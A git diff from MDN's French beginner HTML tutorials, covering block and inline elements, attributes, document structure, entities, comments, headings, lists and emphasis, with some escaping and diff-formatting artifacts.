  • Les éléments en ligne sont contenus dans des éléments de niveau bloc. Ils entourent seulement des petites parties du contenu du document, ni des paragraphes entiers, ni des regroupements de contenu. Un élément en ligne ne fait pas apparaître une nouvelle ligne dans le document. Il apparaît généralement dans un paragraphe de texte, par exemple un élément (hyperlien) {{htmlelement ("a")}} ou des éléments de mise en évidence tels que {{htmlelement("em")}} ou {{htmlelement("strong")}}.
    • +
+ +

Prenez l'exemple suivant :

+ +
<em>premier</em><em>deuxième</em><em>troisième</em>
+
+<p>quatrième</p><p>cinquième</p><p>sixième</p>
+
+ +

{{htmlelement("em")}} est un élément en ligne et, comme vous pouvez le voir ci-dessous, les trois premiers éléments s'affichent sur la même ligne sans qu'il n'y ait d'espace entre eux. Par contre, {{htmlelement("p")}} est un élément de niveau bloc, donc chaque élément apparaît sur une nouvelle ligne et un espace apparaît au-dessus et au-dessous de chacun d'eux (l'espacement est dû au style CSS par défaut du navigateur qui s'applique aux paragraphes).

+ +

{{ EmbedLiveSample('Éléments_bloc_vs_en_ligne', 700, 200, "", "") }}

+ +
+

Note : HTML5 a redéfini les catégories d'éléments dans HTML5 : voir catégories de contenu d'éléments. Bien que ces définitions soient plus précises et moins ambiguës que celles qui précèdent, elles sont beaucoup plus compliquées à comprendre que « block » et « inline ». Nous nous en tiendrons donc à cela tout au long de ce sujet.

+
+ +
+

 Note : les termes « block » et « inline », tels qu'utilisés dans cet article, ne doivent pas être confondus avec les types de boîtes des CSS portant les mêmes noms. Alors qu'ils sont corrélés par défaut, modifier le type d'affichage des CSS ne modifie pas la catégorie d'un élément et n'affecte pas les éléments qu'il pourrait contenir ni ceux dans lequel il pourrait être contenu. Une des raisons pour lesquelles HTML5 a abandonné ces termes était d'éviter cette confusion assez courante.

+
+ +
+

Note : Vous trouverez des pages de référence utiles incluant des listes d'éléments de niveau bloc et d'éléments en ligne.

+
+ +

Éléments vides

+ +

Tous les éléments ne suivent pas le modèle ci-dessus d'ouverture de balise, puis contenu, puis fermeture de balise. Certains éléments ne sont composés que d'une balise. Ils servent généralement à insérer / incorporer quelque chose dans le document à l'endroit où ils sont mis. Par exemple, l'élément <img /> ou {{htmlelement("img")}} insère une image dans une page à l'endroit où il est placé (la balise auto-fermante <img /> est à privilégier) :

+ +
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png" />
+ +

Cela affichera l'élément suivant sur votre page :

+ +

{{ EmbedLiveSample('Éléments_vides', 700, 300, "", "", "hide-codepen-jsfiddle") }}

+ +

Attributs

+ +

Les éléments peuvent aussi avoir des attributs, qui comme suit:

+ +

&amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;lt;/p>

+ +

Les attributs contiennent des informations supplémentaires sur l'élément sans qu'elles n'apparaissent dans le contenu réel. Dans ce cas, l'attribut class vous permet de donner à l'élément un nom d'identification qui peut ensuite être utilisé pour cibler l'élément afin de lui attribuer un style CSS ou un comportement particulier, par exemple.

+ +

Pour créer un attribut, il faut :

+ +
    +
  1. insérer un espace entre cet attribut et le nom de l'élément (ou l'attribut précédent, si l'élément possède déjà un ou plusieurs attributs) ;
    2. +
  2. donner un nom à l'attribut, puis ajouter un signe égal ;
    3. +
  3. donner une valeur à l'attribut, entourée par des guillemets d'ouverture et de fermeture.
    4. +
+ +

Apprentissage actif : ajouter des attributs à un élément

+ +

Un autre exemple d'un élément est {{htmlelement("a")}}. Il représente une ancre et permet de transformer en lien l'élément qu'il enveloppe. Il peut recevoir un certain nombre d'attributs, mais voici les deux principaux :

+ +
    +
  • href : cet attribut spécifie l'adresse web vers laquelle vous souhaitez que le lien pointe, c'est-à-dire l'adresse vers laquelle le navigateur redirigera lorsqu'on cliquera sur le lien. Par exemple, href="https://www.mozilla.org/".
    • +
  • title : l'attribut title apporte des informations supplémentaires sur le lien, comme le nom de la page vers laquelle le lien pointe. Par exemple, title="Page d'Accueil Mozilla", qui apparaîtra comme une info-bulle lorsque le curseur passera sur le lien.
    • +
  • target: L'attribut target définit le contexte de navigation utilisé pour afficher le lien. Par exemple, target="_blank" affichera le lien dans un nouvel onglet. Si vous voulez afficher le lien dans l'onglet courant, simplement, ne mettez pas cet attribut.
    • +
+ +

Modifiez la ligne ci-dessous dans la Zone de saisie pour la transformer en lien vers votre site web préféré. Tout d'abord, ajoutez l'élément <a>, puis l'attribut href, puis l'attribut title. Vous pourrez voir la mise à jour de vos modifications en direct dans la Zone de rendu. Vous devriez voir un lien qui, lorsque vous passez votre pointeur de souris dessus, affiche le contenu de l'attribut title et, lorsque vous cliquez dessus, va à l'adresse web indiquée dans l'élément href. N'oubliez pas d'inclure un espace entre le nom de l'élément et chacun des attributs.

+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser la zone de saisie en cliquant sur le bouton Réinitialiser. Si vous êtes vraiment coincé, cliquez sur le bouton Voir la solution pour afficher la réponse.

+ + + +

{{ EmbedLiveSample('Playable_code2', 700, 400,"","","hide-codepen-jsfiddle") }}

+ +

Les attributs booléens

+ +

Vous verrez parfois des attributs sans valeur définie : c'est tout à fait autorisé. Ils sont appelés attributs booléens ; ils ne peuvent avoir qu'une seule valeur, généralement la même que le nom de l'attribut. Par exemple, prenez l'attribut {{htmlattrxref ("disabled", "input")}}, que vous pouvez affecter aux éléments input (éléments de saisie d'un formulaire) si vous voulez les désactiver (ils seront alors grisés) afin que l'utilisateur ne puisse pas y saisir de données.

+ +
<input type="text" disabled="disabled">
+ +

Pour aller plus vite, il est parfaitement possible d'écrire cette même ligne de la façon suivante (nous avons également inclus un élément input non-désactivé pour référence, pour que vous puissiez vous faire une meilleure idée de ce qui se passe) :

+ +
<input type="text" disabled>
+
+<input type="text">
+
+ +

Ces deux exemples vous donneront le résultat suivant :

+ +

{{ EmbedLiveSample('Les_attributs_booléens', 700, 100) }}

+ +

Omettre des guillemets autour des valeurs d'attribut

+ +

Si vous regardez ce qui se passe sur le Web, vous rencontrerez tous types de styles de balises étranges, y compris des valeurs d'attribut sans guillemets. C'est permis dans certaines circonstances, mais cela va briser votre balisage dans d'autres. Par exemple, si nous revisitons notre exemple de lien ci-dessus, nous pourrons écrire une version de base avec seulement l'attribut href, comme ceci :

+ +
<a href=https://www.mozilla.org/>mon site web favori</a>
+ +

Cependant, si nous ajoutons l'attribut title dans ce même style, cela devient incorrect :

+ +
<a href=https://www.mozilla.org/ title=La page d\'accueil Mozilla >mon site web favori</a>
+ +

En effet, le navigateur interprétera mal la balise, pensant que l'attribut title est en fait quatre attributs — un attribut title avec la valeur « La » et trois attributs booléens, « page », « d\'accueil » et « Mozilla ». Ce n'est évidemment pas ce qui était prévu et cela provoquera des erreurs ou un comportement inattendu dans le code, comme on le voit dans l'exemple en direct ci-dessous. Essayez de passer la souris sur le lien pour voir ce que le texte de title donne.

+ +

{{ EmbedLiveSample('Omettre_des_guillemets_autour_des_valeurs_d\'attribut', 700, 100, "", "", "hide-codepen-jsfiddle") }}

+ +

Nous vous recommandons de toujours inclure les guillemets afin d'éviter ce type de problèmes, mais aussi pour que le code soit plus lisible.

+ +

Guillemets simples ou doubles ?

+ +

Dans cet article, vous remarquerez que les valeurs des attributs sont toutes entre des guillemets doubles (" "). Vous pouvez cependant voir des guillemets simples (' ') dans le code HTML de certaines personnes. C'est purement une question de style, et vous êtes libre de choisir la solution que vous préférez. Les deux lignes suivantes sont équivalentes :

+ +
<a href="http://www.exemple.com">Un lien vers mon exemple.</a>
+
+<a href='http://www.example.com'>Un lien vers mon exemple</a>
+ +

Vous devez cependant vous assurer de ne pas les mélanger. Ce qui suit n'est pas correct :

+ +
<a href="http://www.exemple.com'>Un lien vers mon exemple.</a>
+ +

Si vous avez utilisé un type de guillemets dans votre code HTML, vous pouvez imbriquer l'autre type :

+ +
<a href="http://www.exemple.com" title="N'est-ce pas drôle ?">Un lien vers mon exemple.</a>
+ +

Si vous souhaitez imbriquer le même type de guillemets, vous devez utiliser une entité HTML pour représenter ce caractère spécial.

+ +

Anatomie d'un document HTML

+ +

Les éléments HTML basiques ne sont pas très utiles si on les prend séparément. Nous allons voir comment combiner des éléments individuels pour former une page HTML entière :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>Ma page test</title>
+  </head>
+  <body>
+    <p>Voici ma page web</p>
+  </body>
+</html>
+ +

Ici, nous avons :

+ +
    +
  1. <!DOCTYPE html> : le type de document. Quand HTML était jeune (vers 1991/2), les doctypes  étaient censés agir comme des liens vers un ensemble de règles que la page HTML devait suivre pour être considérée comme un bon HTML, ce qui pouvait signifier la vérification automatique des erreurs et d'autres choses utiles. Habituellement, ils ressemblaient à ceci : + + 
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    + Cependant, de nos jours personne ne se soucie vraiment d'eux, et ils sont juste un artefact historique qui doit être inclus pour que tout fonctionne bien. <!DOCTYPE html> est la chaîne de caractères la plus courte qui soit un doctype valide. C'est tout ce que vous avez vraiment besoin de savoir.
    2. +
  2. <html></html> : l'élément <html>. Cet élément est le contenant de tout le code de la page et est parfois connu comme l'élément racine.
    3. +
  3. <head></head> : l'élément <head>. Cet élément a le rôle de conteneur pour toute chose que vous souhaitez inclure dans la page HTML qui ne soit pas du contenu à afficher aux visiteurs de la page :  mots clés, description de page que vous souhaitez voir apparaître dans les résultats de recherche, style CSS, déclarations de jeu de caractères et plus encore. Nous vous en dirons plus à ce sujet dans l'article suivant de la série.
    4. +
  4. <meta charset="utf-8"> : cet élément définit que le jeu de caractères à utiliser pour votre document est UTF-8. Ce jeu comporte la quasi‑totalité des caractères de toutes les écritures de langues humaines connues. Actuellement, il peut pour l'essentiel gérer tout contenu textuel que vous y pourriez mettre. Il n'y a aucune raison de ne pas définir cela et il peut permettre d'éviter certains problèmes plus tard. 
    5. +
  5. <title></title> : l'élément title. Il définit le titre de la page, celui qui s'affiche dans l'onglet du navigateur dans lequel la page est chargée et qui est utilisé pour décrire la page lorsque vous la marquez ou l'ajoutez aux favoris. 
    6. +
  6. <body></body> : l'élément <body>. Il contient tout le contenu que vous souhaitez afficher aux internautes lorsqu'ils visitent votre page, que ce soit du texte, des images, des vidéos, des jeux, des pistes audio jouables ou autre.
    7. +
+ +

Apprentissage actif : ajouter certaines fonctionnalités à un document HTML

+ +

Si vous voulez essayer d'écrire du HTML sur votre ordinateur en local, vous pouvez :

+ +
    +
  1. copier l'exemple de page HTML ci-dessus.
    2. +
  2. créer un nouveau fichier dans votre éditeur de texte.
    3. +
  3. coller le code dans le nouveau fichier texte.
    4. +
  4. enregistrer le fichier sous index.html.
    5. +
+ +
+

Note: Vous pouvez également trouver ce modèle HTML dans le dépôt GitHub MDN Learning Area.

+
+ +

Vous pouvez maintenant ouvrir ce fichier dans un navigateur Web pour voir à quoi ressemble le rendu, puis modifier le code et actualiser le navigateur pour voir le résultat. Initialement, il ressemblera à ceci:

+ +

Une simple page HTML affichant Voici ma pageDans cet exercice, vous pouvez modifier le code sur votre ordinateur, comme indiqué ci-dessus, ou directement dans la fenêtre d'exemple modifiable ci-dessous (la fenêtre d'exemple modifiable représente uniquement le contenu de l'élément <body>. ) Nous aimerions que vous le fassiez en suivant les étapes suivantes :

+ +
    +
  • Au début du document, juste après la balise d'ouverture <body>, ajoutez un titre principal pour le document. Il doit être entre une balise ouvrante <h1> et la balise fermante </ h1> ;
    • +
  • modifiez le contenu du paragraphe pour ajouter un texte sur quelque chose qui vous intéresse ;
    • +
  • mettez les mots importants en gras en les mettant entre la balise ouvrante <strong> et la balise fermante </ strong>;
    • +
  • ajoutez un lien à votre paragraphe, comme expliqué plus haut dans cet article ;
    • +
  • ajoutez une image dans votre document, en dessous du paragrahe, comme expliqué plus haut dans cet article. Vous obtiendrez des points bonus si vous parvenez à lier une image différente (localement sur votre ordinateur ou ailleurs sur le Web).
    • +
+ +

Si vous faites une erreur, vous pouvez toujours recommencer en utilisant le bouton Réinitialiser. Si vous êtes vraiment coincé, appuyez sur le bouton Voir la solution pour l'afficher.

+ + + +

{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}

+ +

Espace vide en HTML

+ +

Dans les exemples ci-dessus, vous avez peut-être remarqué que beaucoup d'espaces sont inclus dans le code — ce n'est pas nécessaire du tout. Les deux extraits de code suivants sont équivalents:

+ +
<p>Les chiens sont idiots.</p>
+
+<p>Les chiens        sont
+           idiots.</p>
+ +

Peu importe la quantité d'espace que vous utilisez (pour inclure des espaces, ou aussi des sauts de ligne), l'analyseur HTML réduit chacun à un seul espace lors du rendu du code. Alors, pourquoi utiliser autant d'espace blanc? La réponse est la lisibilité — car il est tellement plus facile de comprendre ce qui se passe dans votre code si vous l'avez bien formaté, et non pas simplement l'écrire dans un grand désordre. Dans notre HTML, nous avons chaque élément imbriqué indenté par deux espaces plus que celui qui le contient. C'est à vous de choisir le style de formatage que vous utilisez (combien d'espaces pour chaque niveau d'indentation, par exemple), mais vous devriez envisager d'utiliser une sorte de formatage.

+ +

Références d'entités : inclure les caractères spéciaux en HTML

+ +

En HTML, les caractères <, >,",' et & sont des caractères spéciaux. Ils font partie de la syntaxe HTML elle-même, alors comment inclure un de ces caractères dans du texte, par exemple si vous voulez vraiment utiliser une esperluette(&) ou un signe inférieur(<), qui ne soit pas interpré en tant que code comme les navigateurs pourraient le faire ?

+ +

Nous devons utiliser les références des caractères — codes spéciaux qui représentent des caractères et peuvent être utilisés dans ces circonstances exactes. Chaque référence de caractère est démarrée avec une esperluette (&), et se termine par un point-virgule (;).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Le caractèreRéference équivalent
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
+ +

Dans l'exemple ci-dessous, voici deux paragraphes parlant de techniques Web :

+ +
<p>En HTML, un paragraphe se définit avec l'élément <p>.</p>
+
+<p>En HTML, un paragraphe se définit avec l'élément &lt;p&gt;.</p>
+ +

Dans la zone de rendu en direct ci-dessous, vous pouvez voir que le premier paragraphe n'est pas correctement affiché : le navigateur interprète le second <p> comme le début d'un nouveau paragraphe ! Le deuxième paragraphe est bien affiché, car nous avons remplacé les  signes inférieur(<)  et supérieur(>) par leurs références de caractère.

+ +

{{ EmbedLiveSample('Références_d\'entités_inclure_les_caractères_spéciaux_en_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}

+ +
+

Note: Un graphique de toutes les références d'entité de caractères HTML est disponible sur Wikipedia : Liste des entités caractère de XML et HTML.

+
+ +

Commentaires en HTML

+ +

En HTML, comme pour la plupart des langages de programmation, il existe un mécanisme permettant d'écrire des commentaires dans le code. Les commentaires sont ignorés par le navigateur et invisibles à l'utilisateur. Leur but est de permettre d'inclure des commentaires dans le code pour dire comment il fonctionne, que font les diverses  parties du code, etc. Cela peut s'avérer très utile si vous revenez à un codage que vous n'avez pas travaillé depuis 6 mois et que vous ne pouvez pas vous rappeler ce que vous avez fait — ou si vous donnez votre code à quelqu'un d'autre pour qu'il y travaille.

+ +

Pour transformer une section de contenu dans votre fichier HTML en commentaire, vous devez la mettre dans les marqueurs spéciaux <!-- et-->, par exemple :

+ +
<p>Je ne suis pas dans un commentaire</p>
+
+<!-- <p>Je suis dans un commmentaire!</p> -->
+ +

Comme vous pouvez le voir ci-dessous, le premier paragraphe apparaît dans le rendu de l'éditeur en ligne, mais le second n'apparaît pas.

+ +

{{ EmbedLiveSample('Commentaires_en_HTML', 700, 100, "", "", "hide-codepen-jsfiddle") }}

+ +

Résumé

+ +

Vous avez atteint la fin de l'article — nous espérons que vous avez apprécié de faire le tour des bases du HTML ! À ce stade, vous devez comprendre à quoi ce langage ressemble, comment il fonctionne à un niveau de base, et être en mesure d'écrire quelques éléments et attributs. C'est parfait pour le moment, car dans les articles suivants, nous allons approfondir certaines des choses que vous venez de voir, et introduire de nouveaux aspects du langage. Restez à l'écoute !

+ +
+

Note: À ce stade, lorsque vous commencez à en apprendre davantage sur le langage HTML, vous pouvez également commencer à explorer les bases des feuilles de style CSS. CSS est le langage utilisé pour composer vos pages Web (par exemple, changer la police ou les couleurs, ou modifier la mise en page). HTML et CSS vont très bien ensemble, comme vous allez bientôt le découvrir.

+
+ +

Voir aussi

+ + + +
{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.html new file mode 100644 index 0000000000..7065cb861e --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -0,0 +1,979 @@ +--- +title: Fondamentaux du texte HTML +slug: Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals +tags: + - Apprendre + - Débutant + - Guide + - HTML + - Introduction à l'HTML + - Listes + - Paragraphes + - Texte + - Titres + - sémantique +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}
+ +

L'un des principaux buts de HTML est de structurer du texte et lui donner du sens (ce que l'on appelle la {{glossary("sémantique")}}) afin que le navigateur puisse l'afficher correctement. Cet article explique comment {{glossary("HTML")}} peut être utilisé pour structurer une page en ajoutant des titres et des paragraphes, en marquant des emphases, en créant des listes, et bien plus encore.

+ + + + + + + + + + + + +
Pré-requis: +

Connaître les bases du langage HTML, telles que traitées à la page Commencer avec le HTML.

+
Objectif: +

Apprendre comment ajouter des balises dans une page de texte simple pour la structurer et lui donner du sens — en incluant des paragraphes, des titres, des listes, des emphases et des citations.

+
+ +

Les bases : titres et paragraphes

+ +

La plupart des textes structurés comprennent des titres et des paragraphes, que ce soit dans les romans, les journaux, les livres scolaires, les magazines, etc.

+ +

An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs.

+ +

Le contenu structuré facilite la lecture et la rend plus agréable.

+ +

En HTML, les paragraphes doivent être contenus dans un élément {{htmlelement("p")}}, comme ceci :

+ +
<p>Je suis un paragraphe, oh oui je le suis.</p>
+ +

Chaque titre doit être contenu dans un élément titre :

+ +
<h1>Je suis le titre de l'histoire.</h1>
+ +

Il y a 6 éléments de titre — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, et {{htmlelement("h6")}}. Chaque élément représente un niveau de titre différent ; <h1> représente le titre principal, <h2> représente un sous-titre, <h3> représente un sous-sous-titre, et ainsi de suite jusqu'au niveau de titre le plus bas qui correspond à <h6>.

+ +

Implémentation de la hiérarchie structurale

+ +

Dans une histoire, la balise <h1> représenterait le titre de l'histoire, les balises <h2> représenteraient les titres des chapitres, les balises <h3> les sous-sections des chapitres, en poursuivant ainsi jusqu'à la balise <h6>.

+ +
<h1>L'ennui mortel</h1>
+
+<p>par Chris Mills</p>
+
+<h2>Chapitre I : La nuit noire</h2>
+
+<p>Il faisait nuit noire. Quelque part une chouette ululait. La pluie tombait sur ...</p>
+
+<h2>Chapitre II : Le silence éternel</h2>
+
+<p>Notre protagoniste ne pouvait même pas murmurer à l'ombre de la silhouette...</p>
+
+<h3>Le spectre parle</h3>
+
+<p>Plusieurs heures s'étaient écoulées, quand soudain le spectre assis se releva et s'exclama : « S'il vous plaît, ayez pitié de mon âme ! »...</p>
+ +

C'est vous qui décidez ce que représentent les éléments utilisés tant que la hiérarchie a du sens. Vous devez cependant garder à l'esprit quelques bonnes pratiques lorsque vous créez de telles structures :

+ +
    +
  • Il est préférable de n'utiliser qu'un seul <h1> par page — c'est le niveau principal, et tous les autres devraient être de niveau inférieur.
    • +
  • Assurez-vous d'utiliser les balise de titre dans l'ordre correct et logique : <h1> puis <h2>, puis <h3> et ainsi de suite.
    • +
  • Bien qu'il y ait 6 niveaux de titre (de <h1> à <h6>), Il est déconseillé d'utiliser plus de trois niveaux dans une page. Les documents avec beaucoup de niveaux deviennent complexes et difficiles à parcourir. Dans ce cas, il est préférable de partager le contenu sur plusieurs pages.
    • +
+ +

Pourquoi  faut-il structurer un document ?

+ +

Pour répondre à cette question, regardons la page text-start.html — le point de départ de l'exemple que nous allons utiliser dans cet article (une recette). Enregistrez une copie de ce fichier sur votre ordinateur car vous en aurez besoin pour les exercices qui vont suivre. Le corps de ce document contient plusieurs parties sans aucune balise ; elles sont seulement séparées par des retours chariots (obtenus en pressant la touche Entrée ou ⏎)

+ +

Cependant, si l'on ouvre ce document dans un navigateur, il sera affiché sous forme d'un gros bloc de texte !

+ +

Une page Web qui montre un mur de texte non formaté, parce qu'il n'y a pas d'éléments sur la page pour la structurer.

+ +

Ceci est dû au fait qu'il n'y a aucun élément indiquant la structure du contenu, et donc le navigateur ne sait pas différencier ce qui est un titre d'un paragraphe. De plus :

+ +
    +
  • Les visiteurs d'une page web la parcourent pour trouver le contenu pertinent. Par conséquent, ils ne lisent souvent que les titres (généralement nous ne passons que très peu de temps sur une page web). S'ils ne trouvent pas le contenu souhaité en quelques secondes, ils seront probablement déçus et chercheront l'information souhaitée ailleurs.
    • +
  • Les moteurs de recherche, lorsqu'ils indexent votre page, prennent en considération les titres en tant que mots‑clés ce qui influe sur le classement de la page lors d'une recherche. Sans titre, une page aura un faible référencement (voir {{glossary("SEO")}} (Search Engine Optimization).
    • +
  • Les personnes malvoyantes ne pouvant lire votre page peuvent utiliser des lecteurs d'écran. Ces logiciels permettent d'accéder rapidement à une partie du texte. Pour cela, ils lisent les titres de votre document aux utilisateurs, leur permettant ainsi de trouver rapidement l'information dont ils ont besoin. Si les titres ne sont pas disponibles, les lecteurs d'écran lisent tout le document, le rendant peu accessible aux personnes avec un handicap visuel.
    • +
  • Pour composer un style de contenu avec le {{glossary("CSS")}} ou réaliser des choses intéressantes avec le {{glossary("JavaScript")}}, vous devez avoir des éléments enveloppant les contenus pertinents, ce qui permet ensuite de les cibler avec CSS/JavaScript.
    • +
+ +

Il est donc nécessaire d'ajouter des balises de structuration du contenu.

+ +

Apprentissage actif : structurer le contenu

+ +

Dans l'exemple ci-dessous, ajoutez des balises dans le texte de la zone Code modifiable afin qu'il fasse apparaître un titre et deux paragraphes dans le champ Sortie directe.

+ +

Si vous faites une erreur, vous pouvez recommencer en appuyant sur le bouton Réinitialiser. Si vous êtes bloqués, appuyez sur le bouton Voir la solution pour afficher la réponse.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 370) }}

+ +

Pourquoi a-t-on besoin de sémantique ?

+ +

La sémantique est utilisée partout autour de nous — on se fie à nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.)

+ +

Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ».

+ +
<h1>Ceci est un titre principal</h1>
+ +

Par défaut, le navigateur l'affiche avec une police de caractères de grande taille pour qu'il ait l'apparence d'un titre (même si vous pourriez lui donner l'apparence de n'importe quel élément avec le CSS). Plus important encore, sa valeur sémantique est utilisée de différentes manières, notamment par les moteurs de recherche ou les lecteurs d'écran (comme expliqué plus haut).

+ +

D'autre part, vous pouvez faire ressembler n'importe quel élément à un titre principal. Par exemple :

+ +
<span style="font-size: 32px; margin: 21px 0;">Est-ce un titre principal?</span>
+ +

C'est un élément {{htmlelement("span")}}. Il n'a pas de valeur sémantique. Il s'utilise autour d'un contenu auquel vous souhaitez appliquer un style CSS (ou le modifier avec du JavaScript) sans lui donner une signification supplémentaire (vous en apprendrez plus à ce propos plus loin dans ce cours). Nous lui avons appliqué du CSS pour qu'il ressemble à un titre principal, mais comme il n'a pas de valeur sémantique, il ne bénéficie d'aucune des valeurs sémantiques décrites plus haut. Il est conseillé d'utiliser des éléments HTML adaptés à leur rôle.

+ +

Listes

+ +

Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours,  sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste.

+ +

Listes non-ordonnées

+ +

Les listes non-ordonnées sont utilisées pour représenter des listes d'éléments pour lesquelles l'ordre n'a pas d'importance. Prenons par exemple une liste de courses :

+ +
lait
+œufs
+pain
+houmous
+ +

Les listes non-ordonnées débutent par un élément {{htmlelement("ul")}} (unorderd list) qui enveloppe tous les éléments de la liste:

+ +
<ul>
+lait
+œufs
+pain
+houmous
+</ul>
+ +

Chaque item est contenu dans un élément {{htmlelement("li")}} (list item):

+ +
<ul>
+  <li>lait</li>
+  <li>œufs</li>
+  <li>pain</li>
+  <li>houmous</li>
+</ul>
+ +

Apprentissage actif : mettre des balises à une liste non-ordonnée

+ +

Modifiez l'exemple ci-dessous pour créer votre propre liste HTML non-ordonnée.

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 400) }}

+ +

Listes ordonnées

+ +

Les listes ordonnées permettent de représenter des listes dans lesquelles l'ordre des éléments a de l'importance — prenons par exemple une série de directions à suivre:

+ +
Roulez jusqu'au bout de la route
+Tournez à droite
+Allez tout droit aux deux premiers ronds-points
+Tournez à gauche au troisième rond-point
+Roulez sur 300 mètres, l'école est sur votre droite
+ +

Les balises suivent la même structure que pour les listes ordonnées, à cela près que la liste est contenue dans l'élément {{htmlelement("ol")}} (ordered list), et non dans <ul>:

+ +
<ol>
+  <li>Roulez jusqu'au bout de la route</li>
+  <li>Tournez à droite</li>
+  <li>Allez tout droit aux deux premiers ronds-points</li>
+  <li>Tournez à gauche au troisième rond-point</li>
+  <li>Roulez sur 300 mètres, l'école est sur votre droite</li>
+</ol>
+ +

Apprentissage actif : baliser une liste ordonnée

+ +

Modifiez l'exemple ci‑dessous pour créer votre propre liste HTML ordonnée.

+ + + +

{{ EmbedLiveSample('Playable_code_3', 700, 500) }}

+ +

Apprentissage actif : mettre des balises pour une recette de cuisine

+ +

Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissances nécessaires pour mettre en forme la recette de cuisine donnée en exemple. Vous pouvez soit télécharger le fichier text-start.html et le modifier de votre côté, soit faire l'exercice dans l'exemple modifiable ci-dessous. Il est conseillé de le modifier localement, sur votre machine, car vous pourrez alors enregistrer votre travail. Si vous utilisez l'exemple modifiable de cette page, le travail sera perdu à l'ouverture suivante de la page. Chaque méthode a ses avantages et ses inconvénients.

+ + + +

{{ EmbedLiveSample('Playable_code_4', 700, 500) }}

+ +

Si vous êtes bloqué, vous pouvez cliquer sur le bouton Voir la solution, ou alors regarder l'exemple text-complete.html sur le dépôt GitHub.

+ +

Imbriquer des listes

+ +

Il est parfaitement possible d'imbriquer une liste dans une autre. Il se peut que vous vouliez insérer une liste à puces derrière une même puce de niveau supérieur. Prenons par exemple la deuxième liste de la recette :

+ +
<ol>
+  <li>Ôter la peau de l'ail et le hacher grossièrement.</li>
+  <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>
+  <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.</li>
+  <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>
+  <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>
+</ol>
+
+ +

Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci :

+ +
<ol>
+  <li>Ôter la peau de l'ail et le hacher grossièrement.</li>
+  <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>
+  <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.
+    <ul>
+      <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>
+      <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>
+    </ul>
+  </li>
+</ol>
+
+ +

N'hésitez pas à revenir au dernier apprentissage actif pour modifier vous même la liste correspondante dans la recette.

+ +

Soulignement et importance

+ +

Dans le langage, nous mettons souvent l'accent sur certains mots pour modifier le sens d'une phrase et pour marquer certains mots comme étant importants ou différents d'une manière ou d'une autre. HTML fournit divers éléments de sémantique pour nous permettre de marquer un contenu textuel avec de tels effets. Dans cette section, nous examinerons quelques-uns des plus courants.

+ +

Emphase

+ +

Dans le langage parlé, pour accentuer, nous insistons sur certains mots, modifiant subtilement le sens de ce que nous disons. De même, dans le langage écrit, nous avons tendance à mettre un certain accent sur des mots en les écrivant en italique. Par exemple, les deux phrases suivantes ont des significations différentes.

+ +

« Je suis content que vous n'ayez pas été en retard. »

+ +

« Je suis content que vous n'ayez pas été en retard. »

+ +

La première phrase semble indiquer que le locuteur est vraiment soulagé que la personne n'aie pas été en retard. En revanche, la seconde a une tonalité sarcastique ou passive-agressive, exprimant la gêne que la personne soit arrivée un peu en retard.

+ +

